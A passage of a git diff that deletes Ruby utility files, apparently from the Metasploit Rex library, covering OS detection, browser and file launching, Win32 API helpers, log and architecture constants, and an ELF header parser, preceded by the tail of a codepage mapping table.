012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02c9:16 02ca:2f 02cb:60 02cd:5f 02dc:7e 0300:60 0301:2f 0302:5e 0303:7e 0304:16 0305:16 0308:22 030e:22 0327:2c 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2017:5f 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2024:07 2026:07 2030:25 2032:27 2035:27 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:70 2119:50 211a:51 211b:52 211c:52 211d:52 2122:74 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2205:4f 2212:5f 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 226b:3c 22c5:07 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 3000:20 3007:4f 3008:3c 3009:3e 300b:3e 301a:5b 301b:5d 30fb:07 - -874 (ANSI/OEM - Thai) -00a7:15 00b6:14 203c:13 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 221f:1c 2302:7f 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -932 (ANSI/OEM - Japanese Shift-JIS) -00a1:21 00a5:5c 00a6:7c 00a9:63 00aa:61 00ad:2d 00ae:52 00b2:32 00b3:33 00b9:31 00ba:6f 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c6:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00de:54 00df:73 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e6:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f0:64 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00fe:74 00ff:79 - -936 (ANSI/OEM - Simplified Chinese GBK) -00a6:7c 00aa:61 00ad:2d 00b2:32 00b3:33 00b9:31 00ba:6f 00d0:44 00dd:59 00de:54 00e2:61 00f0:65 00fd:79 00fe:74 - -949 (ANSI/OEM - Korean) -00a6:7c 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 20a9:5c - -950 (ANSI/OEM - Traditional Chinese Big5) -00a1:21 00a6:7c 00a9:63 00aa:61 00ad:2d 00ae:52 00b2:32 00b3:33 00b9:31 00ba:6f 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c6:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00de:54 00df:73 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e6:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f0:65 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00fe:74 00ff:79 - -65000 (UTF-7) - - -65001 (UTF-8) - - diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb deleted file mode 100644 index 46d61dae15..0000000000 --- a/lib/rex/compat.rb +++ /dev/null @@ -1,390 +0,0 @@ -# -*- coding: binary -*- -module Rex - -### -# -# This class provides os-specific functionality -# -### -module Compat - -STD_INPUT_HANDLE = -10 -STD_OUTPUT_HANDLE = -11 -STD_ERROR_HANDLE = -12 - -GENERIC_READ = 0x80000000 -GENERIC_WRITE = 0x40000000 -GENERIC_EXECUTE = 0x20000000 - -FILE_SHARE_READ = 0x00000001 -FILE_SHARE_WRITE = 0x00000002 -OPEN_EXISTING = 0x00000003 - -ENABLE_LINE_INPUT = 2 -ENABLE_ECHO_INPUT = 4 -ENABLE_PROCESSED_INPUT = 1 - - - -# -# Platform detection -# - -@@is_windows = @@is_cygwin = @@is_macosx = @@is_linux = @@is_bsdi = @@is_freebsd = @@is_netbsd = @@is_openbsd = @@is_java = false -@@loaded_win32api = false -@@loaded_tempfile = false -@@loaded_fileutils = false - - -def self.is_windows - return @@is_windows if @@is_windows - @@is_windows = (RUBY_PLATFORM =~ /mswin(32|64)|mingw(32|64)/) ? true : false -end - -def self.is_cygwin - return @@is_cygwin if @@is_cygwin - @@is_cygwin = (RUBY_PLATFORM =~ /cygwin/) ? true : false -end - -def self.is_macosx - return @@is_macosx if @@is_macosx - @@is_macosx = (RUBY_PLATFORM =~ /darwin/) ? true : false -end - -def self.is_linux - return @@is_linux if @@is_linux - @@is_linux = (RUBY_PLATFORM =~ /linux/) ? true : false -end - -def self.is_bsdi - return @@is_bsdi if @@is_bsdi - @@is_bsdi = (RUBY_PLATFORM =~ /bsdi/i) ? true : false -end - -def self.is_netbsd - return @@is_netbsd if @@is_netbsd - @@is_netbsd = (RUBY_PLATFORM =~ /netbsd/) ? true : false -end - -def self.is_freebsd - return @@is_freebsd if @@is_freebsd - @@is_freebsd = (RUBY_PLATFORM =~ /freebsd/) ? true : false -end - -def self.is_openbsd - return @@is_openbsd if @@is_openbsd - @@is_openbsd = (RUBY_PLATFORM =~ /openbsd/) ? true : false -end - -def self.is_java - return @@is_java if @@is_java - @@is_java = (RUBY_PLATFORM =~ /java/) ? true : false -end - -def self.is_wow64 - return false if not is_windows - is64 = false - begin - buff = "\x00" * 4 - Win32API.new("kernel32","IsWow64Process",['L','P'],'L').call(-1, buff) - is64 = (buff.unpack("V")[0]) == 1 ? true : false - rescue ::Exception - end - is64 -end - -def self.cygwin_to_win32(path) - if(path !~ /^\/cygdrive/) - return ::IO.popen("cygpath -w #{path}", "rb").read.strip - end - dir = path.split("/") - dir.shift - dir.shift - dir[0] = dir[0] + ":" - dir.join("\\") -end - -def self.open_file(url='') - case RUBY_PLATFORM - when /cygwin/ - path = self.cygwin_to_win32(url) - system(["cmd", "cmd"], "/c", "explorer", path) - else - self.open_browser(url) - end -end - -def self.open_browser(url='http://google.com/') - case RUBY_PLATFORM - when /cygwin/ - if(url[0,1] == "/") - self.open_file(url) - end - return if not @@loaded_win32api - Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", url, nil, nil, 0) - when /mswin32|mingw/ - return if not @@loaded_win32api - Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", url, nil, nil, 0) - when /darwin/ - system("open #{url}") - else - # Search through the PATH variable (if it exists) and chose a browser - # We are making an assumption about the nature of "PATH" so tread lightly - if defined? ENV['PATH'] - # "xdg-open" is more general than "sensible-browser" and can be useful for lots of - # file types -- text files, pcaps, or URLs. It's nearly always - # going to use the application the user is expecting. If we're not - # on something Debian-based, fall back to likely browsers. - ['xdg-open', 'sensible-browser', 'firefox', 'firefox-bin', 'opera', 'konqueror', 'chromium-browser'].each do |browser| - ENV['PATH'].split(':').each do |path| - # Does the browser exists? - if File.exists?("#{path}/#{browser}") - system("#{browser} #{url} &") - return - end - end - end - end - end -end - -def self.open_webrtc_browser(url='http://google.com/') - found_browser = false - - case RUBY_PLATFORM - when /mswin2|mingw|cygwin/ - paths = [ - "Google\\Chrome\\Application\\chrome.exe", - "Mozilla Firefox\\firefox.exe", - "Opera\\launcher.exe" - ] - - prog_files = ENV['ProgramFiles'] - paths = paths.map { |p| "#{prog_files}\\#{p}" } - - # Old chrome path - app_data = ENV['APPDATA'] - paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" - - paths.each do |path| - if File.exists?(path) - args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" - system("#{path} #{args} #{url}") - found_browser = true - break - end - end - - when /darwin/ - ['Google Chrome.app', 'Firefox.app'].each do |browser| - browser_path = "/Applications/#{browser}" - if File.directory?(browser_path) - args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : "" - - system("open #{url} -a \"#{browser_path}\" #{args} &") - found_browser = true - break - end - end - else - if defined? ENV['PATH'] - ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser| - ENV['PATH'].split(':').each do |path| - browser_path = "#{path}/#{browser}" - if File.exists?(browser_path) - args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" - system("#{browser_path} #{args} #{url} &") - found_browser = true - break - end - end - end - end - end - - found_browser -end - -def self.open_email(addr) - case RUBY_PLATFORM - when /mswin32|cygwin/ - return if not @@loaded_win32api - Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", "mailto:"+addr, nil, nil, 0) - when /darwin/ - system("open mailto:#{addr}") - else - # ? - end -end - -def self.play_sound(path) - case RUBY_PLATFORM - when /cygwin/ - path = self.cygwin_to_win32(path) - return if not @@loaded_win32api - Win32API.new("winmm.dll", "sndPlaySoundA", ["SI"], "I").call(path, 0x20000) - when /mswin32/ - return if not @@loaded_win32api - Win32API.new("winmm.dll", "sndPlaySoundA", ["SI"], "I").call(path, 0x20000) - when /darwin/ - system("afplay #{path} >/dev/null 2>&1") - else - system("aplay #{path} >/dev/null 2>&1") - end -end - -def self.getenv(var) - if (is_windows and @@loaded_win32api) - f = Win32API.new("kernel32", "GetEnvironmentVariable", ["P", "P", "I"], "I") - buff = "\x00" * 16384 - sz = f.call(var, buff, buff.length) - return nil if sz == 0 - buff[0,sz] - else - ENV[var] - end -end - -def self.setenv(var,val) - if (is_windows and @@loaded_win32api) - f = Win32API.new("kernel32", "SetEnvironmentVariable", ["P", "P"], "I") - f.call(var, val + "\x00") - else - ENV[var]= val - end -end - - -# -# Obtain the path to our interpreter -# -def self.win32_ruby_path - return nil if ! (is_windows and @@loaded_win32api) - gmh = Win32API.new("kernel32", "GetModuleHandle", ["P"], "L") - gmf = Win32API.new("kernel32", "GetModuleFileName", ["LPL"], "L") - mod = gmh.call(nil) - inf = "\x00" * 1024 - gmf.call(mod, inf, 1024) - inf.unpack("Z*")[0] -end - -# -# Call WinExec (equiv to system("cmd &")) -# -def self.win32_winexec(cmd) - return nil if ! (is_windows and @@loaded_win32api) - exe = Win32API.new("kernel32", "WinExec", ["PL"], "L") - exe.call(cmd, 0) -end - -# -# Verify the Console2 environment -# -def self.win32_console2_verify - return nil if ! (is_windows and @@loaded_win32api) - buf = "\x00" * 512 - out = Win32API.new("kernel32", "GetStdHandle", ["L"], "L").call(STD_OUTPUT_HANDLE) - res = Win32API.new("kernel32","GetConsoleTitle", ["PL"], "L").call(buf, buf.length-1) rescue 0 - ( res > 0 and buf.index("Console2 command").nil? ) ? false : true -end - -# -# Expand a 8.3 path to a full path -# -def self.win32_expand_path(path) - return nil if ! (is_windows and @@loaded_win32api) - glp = Win32API.new('kernel32', 'GetLongPathName', 'PPL', 'L') - buf = "\x00" * 260 - len = glp.call(path, buf, buf.length) - buf[0, len] -end - -# -# Platform independent socket pair -# -def self.pipe - - if (! is_windows()) - # Standard pipes should be fine - return ::IO.pipe - end - - # Create a socket connection for Windows - serv = nil - port = 1024 - - while (! serv and port < 65535) - begin - serv = TCPServer.new('127.0.0.1', (port += 1)) - rescue ::Exception - end - end - - pipe1 = TCPSocket.new('127.0.0.1', port) - - # Accept the forked child - pipe2 = serv.accept - - # Shutdown the server - serv.close - - return [pipe1, pipe2] -end - -# -# Copy a file to a temporary path -# - -def self.temp_copy(path) - raise RuntimeError,"missing Tempfile" if not @@loaded_tempfile - fd = File.open(path, "rb") - tp = Tempfile.new("msftemp") - tp.binmode - tp.write(fd.read(File.size(path))) - tp.close - fd.close - tp -end - -# -# Delete an opened temporary file -# - -def self.temp_delete(tp) - raise RuntimeError,"missing FileUtils" if not @@loaded_fileutils - begin - FileUtils.rm(tp.path) - rescue - end -end - - -# -# Initialization -# - -if(is_windows or is_cygwin) - begin - require "Win32API" - @@loaded_win32api = true - rescue ::Exception - end -end - -begin - require "tempfile" - @@loaded_tempfile = true -rescue ::Exception -end - -begin - require "fileutils" - @@loaded_fileutils = true -rescue ::Exception -end - - - -end -end - diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb deleted file mode 100644 index ee362285e4..0000000000 --- a/lib/rex/constants.rb +++ /dev/null @@ -1,127 +0,0 @@ -# -*- coding: binary -*- - -# -# Log severities -# -LOG_ERROR = 'error' -LOG_DEBUG = 'debug' -LOG_INFO = 'info' -LOG_WARN = 'warn' -LOG_RAW = 'raw' - -## -# -# Log levels -# -## - -# -# LEV_0 - Default -# -# This log level is the default log level if none is specified. It should be -# used when a log message should always be displayed when logging is enabled. -# Very few log messages should occur at this level aside from necessary -# information logging and error/warning logging. Debug logging at level zero -# is not advised. -# -LEV_0 = 0 - -# -# LEV_1 - Extra -# -# This log level should be used when extra information may be needed to -# understand the cause of an error or warning message or to get debugging -# information that might give clues as to why something is happening. This -# log level should be used only when information may be useful to understanding -# the behavior of something at a basic level. This log level should not be -# used in an exhaustively verbose fashion. -# -LEV_1 = 1 - -# -# LEV_2 - Verbose -# -# This log level should be used when verbose information may be needed to -# analyze the behavior of the framework. This should be the default log -# level for all detailed information not falling into LEV_0 or LEV_1. -# It is recommended that this log level be used by default if you are -# unsure. -# -LEV_2 = 2 - -# -# LEV_3 - Insanity -# -# This log level should contain very verbose information about the -# behavior of the framework, such as detailed information about variable -# states at certain phases including, but not limited to, loop iterations, -# function calls, and so on. This log level will rarely be displayed, -# but when it is the information provided should make it easy to analyze -# any problem. -# -LEV_3 = 3 - - -# -# Architecture constants -# -ARCH_ANY = '_any_' -ARCH_X86 = 'x86' -ARCH_X86_64 = 'x86_64' -ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 -ARCH_MIPS = 'mips' -ARCH_MIPSLE = 'mipsle' -ARCH_MIPSBE = 'mipsbe' -ARCH_PPC = 'ppc' -ARCH_PPC64 = 'ppc64' -ARCH_CBEA = 'cbea' -ARCH_CBEA64 = 'cbea64' -ARCH_SPARC = 'sparc' -ARCH_CMD = 'cmd' -ARCH_PHP = 'php' -ARCH_TTY = 'tty' -ARCH_ARMLE = 'armle' -ARCH_ARMBE = 'armbe' -ARCH_JAVA = 'java' -ARCH_RUBY = 'ruby' -ARCH_DALVIK = 'dalvik' -ARCH_PYTHON = 'python' -ARCH_NODEJS = 'nodejs' -ARCH_FIREFOX = 'firefox' -ARCH_ZARCH = 'zarch' -ARCH_TYPES = - [ - ARCH_X86, - ARCH_X86_64, - ARCH_MIPS, - ARCH_MIPSLE, - ARCH_MIPSBE, - ARCH_PPC, - ARCH_PPC64, - ARCH_CBEA, - ARCH_CBEA64, - ARCH_SPARC, - ARCH_ARMLE, - ARCH_ARMBE, - ARCH_CMD, - ARCH_PHP, - ARCH_TTY, - ARCH_JAVA, - ARCH_RUBY, - ARCH_DALVIK, - ARCH_PYTHON, - ARCH_NODEJS, - ARCH_FIREFOX, - ARCH_ZARCH, - ] - -ARCH_ALL = ARCH_TYPES - -# -# Endian constants -# -ENDIAN_LITTLE = 0 -ENDIAN_BIG = 1 - -IS_ENDIAN_LITTLE = ( [1].pack('s') == "\x01\x00" ) ? true : false -IS_ENDIAN_BIG = ( not IS_ENDIAN_LITTLE ) diff --git a/lib/rex/elfparsey.rb b/lib/rex/elfparsey.rb deleted file mode 100644 index bf29b396c9..0000000000 --- a/lib/rex/elfparsey.rb +++ /dev/null @@ -1,9 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module ElfParsey - -end -end - -require 'rex/elfparsey/elf' diff --git a/lib/rex/elfparsey/elf.rb b/lib/rex/elfparsey/elf.rb deleted file mode 100644 index 4652c27f0b..0000000000 --- a/lib/rex/elfparsey/elf.rb +++ /dev/null @@ -1,121 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/elfparsey/elfbase' -require 'rex/elfparsey/exceptions' -require 'rex/image_source' - -module Rex -module ElfParsey -class Elf < ElfBase - - attr_accessor :elf_header, :program_header, :base_addr, :isource - - def initialize(isource) - offset = 0 - base_addr = 0 - - # ELF Header - elf_header = ElfHeader.new(isource.read(offset, ELF_HEADER_SIZE)) - - # Data encoding - ei_data = elf_header.e_ident[EI_DATA,1].unpack("C")[0] - - e_phoff = elf_header.e_phoff - e_phentsize = elf_header.e_phentsize - e_phnum = elf_header.e_phnum - - # Program Header Table - program_header = [] - - e_phnum.times do |i| - offset = e_phoff + (e_phentsize * i) - - program_header << ProgramHeader.new( - isource.read(offset, PROGRAM_HEADER_SIZE), ei_data - ) - - if program_header[-1].p_type == PT_LOAD && program_header[-1].p_flags & PF_EXEC > 0 - base_addr = program_header[-1].p_vaddr - end - - end - - self.elf_header = elf_header - self.program_header = program_header - self.base_addr = base_addr - self.isource = isource - end - - def self.new_from_file(filename, disk_backed = false) - - file = ::File.new(filename) - # file.binmode # windows... :\ - - if disk_backed - return self.new(ImageSource::Disk.new(file)) - else - obj = new_from_string(file.read) - file.close - return obj - end - end - - def self.new_from_string(data) - return self.new(ImageSource::Memory.new(data)) - end - - # - # Returns true if this binary is for a 64-bit architecture. - # - def ptr_64? - unless [ ELFCLASS32, ELFCLASS64 ].include?( - elf_header.e_ident[EI_CLASS,1].unpack("C*")[0]) - raise ElfHeaderError, 'Invalid class', caller - end - - elf_header.e_ident[EI_CLASS,1].unpack("C*")[0] == ELFCLASS64 - end - - # - # Returns true if this binary is for a 32-bit architecture. - # This check does not take into account 16-bit binaries at the moment. - # - def ptr_32? - ptr_64? == false - end - - # - # Converts a virtual address to a string representation based on the - # underlying architecture. - # - def ptr_s(rva) - (ptr_32?) ? ("0x%.8x" % rva) : ("0x%.16x" % rva) - end - - def offset_to_rva(offset) - base_addr + offset - end - - def rva_to_offset(rva) - rva - base_addr - end - - def read(offset, len) - isource.read(offset, len) - end - - def read_rva(rva, len) - isource.read(rva_to_offset(rva), len) - end - - def index(*args) - isource.index(*args) - end - - def close - isource.close - end - -end -end -end diff --git a/lib/rex/elfparsey/elfbase.rb b/lib/rex/elfparsey/elfbase.rb deleted file mode 100644 index e950bdb69d..0000000000 --- a/lib/rex/elfparsey/elfbase.rb +++ /dev/null @@ -1,265 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/struct2' - -module Rex -module ElfParsey -class ElfBase - - # ELF Header - - ELF_HEADER_SIZE = 52 - - EI_NIDENT = 16 - - ELF32_EHDR_LSB = Rex::Struct2::CStructTemplate.new( - [ 'string', 'e_ident', EI_NIDENT, '' ], - [ 'uint16v', 'e_type', 0 ], - [ 'uint16v', 'e_machine', 0 ], - [ 'uint32v', 'e_version', 0 ], - [ 'uint32v', 'e_entry', 0 ], - [ 'uint32v', 'e_phoff', 0 ], - [ 'uint32v', 'e_shoff', 0 ], - [ 'uint32v', 'e_flags', 0 ], - [ 'uint16v', 'e_ehsize', 0 ], - [ 'uint16v', 'e_phentsize', 0 ], - [ 'uint16v', 'e_phnum', 0 ], - [ 'uint16v', 'e_shentsize', 0 ], - [ 'uint16v', 'e_shnum', 0 ], - [ 'uint16v', 'e_shstrndx', 0 ] - ) - - ELF32_EHDR_MSB = Rex::Struct2::CStructTemplate.new( - [ 'string', 'e_ident', EI_NIDENT, '' ], - [ 'uint16n', 'e_type', 0 ], - [ 'uint16n', 'e_machine', 0 ], - [ 'uint32n', 'e_version', 0 ], - [ 'uint32n', 'e_entry', 0 ], - [ 'uint32n', 'e_phoff', 0 ], - [ 'uint32n', 'e_shoff', 0 ], - [ 'uint32n', 'e_flags', 0 ], - [ 'uint16n', 'e_ehsize', 0 ], - [ 'uint16n', 'e_phentsize', 0 ], - [ 'uint16n', 'e_phnum', 0 ], - [ 'uint16n', 'e_shentsize', 0 ], - [ 'uint16n', 'e_shnum', 0 ], - [ 'uint16n', 'e_shstrndx', 0 ] - ) - - # e_type This member identifies the object file type - - ET_NONE = 0 # No file type - ET_REL = 1 # Relocatable file - ET_EXEC = 2 # Executable file - ET_DYN = 3 # Shared object file - ET_CORE = 4 # Core file - ET_LOPROC = 0xff00 # Processor-specific - ET_HIPROC = 0xffff # Processor-specific - - # - # e_machine This member's value specifies the required architecture for an - # individual file. - # - - # ET_NONE = 0 # No machine - EM_M32 = 1 # AT&T WE 32100 - EM_SPARC = 2 # SPARC - EM_386 = 3 # Intel Architecture - EM_68K = 4 # Motorola 68000 - EM_88K = 5 # Motorola 88000 - EM_860 = 7 # Intel 80860 - EM_MIPS = 8 # MIPS RS3000 Big-Endian - EM_MIPS_RS4_BE = 10 # MIPS RS4000 Big-Endian - - # e_version This member identifies the object file version - - EV_NONE = 0 # Invalid version - EV_CURRENT = 1 # Current version - - - # ELF Identification - - # e_ident[] Identification indexes - - EI_MAG0 = 0 # File identification - EI_MAG1 = 1 # File identification - EI_MAG2 = 2 # File identification - EI_MAG3 = 3 # File identification - EI_CLASS = 4 # File class - EI_DATA = 5 # Data encoding - EI_VERSION = 6 # File version - EI_PAD = 7 # Start of padding bytes - # EI_NIDENT = 16 # Size of e_ident[] - - # - # EI_MAG0 to EI_MAG3 A file's first 4 bytes hold a "magic number", - # identifying the file as an ELF object file. - # - - ELFMAG0 = 0x7f # e_ident[EI_MAG0] - ELFMAG1 = ?E # e_ident[EI_MAG1] - ELFMAG2 = ?L # e_ident[EI_MAG2] - ELFMAG3 = ?F # e_ident[EI_MAG3] - - ELFMAG = ELFMAG0.chr + ELFMAG1.chr + ELFMAG2.chr + ELFMAG3.chr - - # EI_CLASS Identifies the file's class, or capacity - - ELFCLASSNONE = 0 # Invalid class - ELFCLASS32 = 1 # 32-bit objects - ELFCLASS64 = 2 # 64-bit objects - - # - # EI_DATA Specifies the data encoding of the processor-specific data in - # the object file. The following encodings are currently defined. - # - - ELFDATANONE = 0 # Invalid data encoding - ELFDATA2LSB = 1 # Least significant byte first - ELFDATA2MSB = 2 # Most significant byte first - - class GenericStruct - attr_accessor :struct - def initialize(_struct) - self.struct = _struct - end - - # The following methods are just pass-throughs for struct - - # Access a value - def v - struct.v - - end - - # Access a value by array - def [](*args) - struct[*args] - end - - # Obtain an array of all fields - def keys - struct.keys - end - - def method_missing(meth, *args) - v[meth.to_s] || (raise NoMethodError.new, meth) - end - end - - class GenericHeader < GenericStruct - end - - class ElfHeader < GenericHeader - def initialize(rawdata) - - # Identify the data encoding and parse ELF Header - elf_header = ELF32_EHDR_LSB.make_struct - - if !elf_header.from_s(rawdata) - raise ElfHeaderError, "Couldn't parse ELF Header", caller - end - - if elf_header.v['e_ident'][EI_DATA,1].unpack('C')[0] == ELFDATA2MSB - elf_header = ELF32_EHDR_MSB.make_struct - - if !elf_header.from_s(rawdata) - raise ElfHeaderError, "Couldn't parse ELF Header", caller - end - end - - unless [ ELFDATA2LSB, ELFDATA2MSB ].include?( - elf_header.v['e_ident'][EI_DATA,1].unpack('C')[0]) - raise ElfHeaderError, "Invalid data encoding", caller - end - - # Identify the file as an ELF object file - unless elf_header.v['e_ident'][EI_MAG0, 4] == ELFMAG - raise ElfHeaderError, 'Invalid magic number', caller - end - - self.struct = elf_header - end - - def e_ident - struct.v['e_ident'] - end - - end - - - # Program Header - - PROGRAM_HEADER_SIZE = 32 - - ELF32_PHDR_LSB = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'p_type', 0 ], - [ 'uint32v', 'p_offset', 0 ], - [ 'uint32v', 'p_vaddr', 0 ], - [ 'uint32v', 'p_paddr', 0 ], - [ 'uint32v', 'p_filesz', 0 ], - [ 'uint32v', 'p_memsz', 0 ], - [ 'uint32v', 'p_flags', 0 ], - [ 'uint32v', 'p_align', 0 ] - ) - - ELF32_PHDR_MSB = Rex::Struct2::CStructTemplate.new( - [ 'uint32n', 'p_type', 0 ], - [ 'uint32n', 'p_offset', 0 ], - [ 'uint32n', 'p_vaddr', 0 ], - [ 'uint32n', 'p_paddr', 0 ], - [ 'uint32n', 'p_filesz', 0 ], - [ 'uint32n', 'p_memsz', 0 ], - [ 'uint32n', 'p_flags', 0 ], - [ 'uint32n', 'p_align', 0 ] - ) - - # p_flags This member tells which permissions should have the segment - - # Flags - - PF_EXEC = 1 - PF_WRITE = 2 - PF_READ = 4 - - - # - # p_type This member tells what kind of segment this array element - # describes or how to interpret the array element's information. - # - - # Segment Types - - PT_NULL = 0 - PT_LOAD = 1 - PT_DYNAMIC = 2 - PT_INTERP = 3 - PT_NOTE = 4 - PT_SHLIB = 5 - PT_PHDR = 6 - PT_LOPROC = 0x70000000 - PT_HIPROC = 0x7fffffff - - class ProgramHeader < GenericHeader - def initialize(rawdata, ei_data) - # Identify the data encoding and parse Program Header - if ei_data == ELFDATA2LSB - program_header = ELF32_PHDR_LSB.make_struct - elsif ei_data == ELFDATA2MSB - program_header = ELF32_PHDR_MSB.make_struct - else - raise ElfHeaderError, "Invalid data encoding", caller - end - - if !program_header.from_s(rawdata) - raise ProgramHeaderError, "Couldn't parse Program Header", caller - end - - self.struct = program_header - end - - end - -end -end -end diff --git a/lib/rex/elfparsey/exceptions.rb b/lib/rex/elfparsey/exceptions.rb deleted file mode 100644 index 9f0ea0ed03..0000000000 --- a/lib/rex/elfparsey/exceptions.rb +++ /dev/null @@ -1,25 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module ElfParsey - -class ElfError < ::RuntimeError -end - -class ParseError < ElfError -end - -class ElfHeaderError < ParseError -end - -class ProgramHeaderError < ParseError -end - -class BoundsError < ElfError -end - -class ElfParseyError < ElfError -end - -end -end diff --git a/lib/rex/elfscan.rb b/lib/rex/elfscan.rb deleted file mode 100644 index 45361eb5b7..0000000000 --- a/lib/rex/elfscan.rb +++ /dev/null @@ -1,10 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module ElfScan - 